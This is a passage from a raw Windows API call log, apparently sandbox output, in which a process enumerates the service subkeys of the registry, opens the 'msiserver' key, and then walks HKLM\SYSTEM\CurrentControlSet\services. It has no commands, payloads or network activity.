lpUsedDefaultChar=0x0) returned 7 [0255.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.028] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0255.028] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0255.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0255.028] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.028] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0255.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0255.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0255.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0255.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0255.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.029] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0255.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0255.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0255.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0255.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0255.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0255.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0255.029] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0255.029] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0255.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0255.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0255.029] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0255.029] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0255.029] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0255.029] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0255.029] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0255.030] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0255.030] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0255.030] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0255.030] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0255.030] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0255.030] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0255.030] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0255.030] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0255.030] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0255.030] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0255.030] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0255.030] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0255.030] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0255.031] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0255.031] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0255.031] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0255.031] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0255.031] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0255.031] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0255.031] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0255.031] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0255.031] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0255.031] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0255.031] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0255.031] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0255.031] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0255.032] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0255.032] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0255.032] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0255.032] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0255.032] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0255.032] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0255.032] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0255.032] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0255.032] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0255.032] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0255.032] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0255.032] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0255.033] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0255.033] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0255.033] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0255.033] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0255.033] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0255.033] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0255.033] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0255.033] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0255.033] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0255.033] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0255.033] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0255.033] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0255.033] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0255.034] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0255.034] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0255.034] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0255.034] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0255.034] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0255.034] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0255.034] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0255.034] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0255.034] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0255.034] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0255.034] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0255.034] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0255.034] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0255.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0255.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0255.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0255.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0255.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0255.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0255.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0255.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0255.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0255.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0255.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0255.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0255.035] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0255.036] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0255.036] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0255.036] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0255.036] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0255.036] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0255.036] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0255.036] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0255.036] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0255.036] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0255.036] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0255.036] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0255.036] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0255.036] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0255.037] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0255.037] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0255.037] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0255.037] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0255.037] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0255.037] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0255.037] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0255.037] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0255.037] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0255.037] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0255.037] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0255.037] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0255.037] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0255.038] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0255.038] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0255.038] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0255.038] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0255.038] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0255.038] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0255.038] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0255.038] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0255.038] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0255.038] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0255.038] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0255.038] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0255.038] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0255.039] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0255.039] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0255.039] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0255.039] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0255.039] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0255.039] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0255.039] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0255.039] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0255.039] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0255.039] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0255.039] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0255.039] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0255.040] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0255.040] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0255.040] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0255.040] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0255.040] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0255.040] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0255.040] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0255.040] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0255.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0255.040] RegCloseKey (hKey=0x148) returned 0x0 [0255.040] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0255.040] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0255.040] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0255.042] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0255.043] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0255.043] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0255.043] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0255.043] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0255.043] RegCloseKey (hKey=0x80000002) returned 0x0 [0255.043] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0255.043] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0255.043] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0255.043] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0255.043] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0255.043] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0255.043] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0255.043] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0255.044] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0255.044] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0255.044] RegCloseKey (hKey=0x14c) returned 0x0 [0255.044] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0255.044] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0255.044] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0255.044] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0255.044] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0255.044] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0255.044] RegCloseKey (hKey=0x148) returned 0x0 [0255.044] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0255.044] RegEnumKeyW (in: 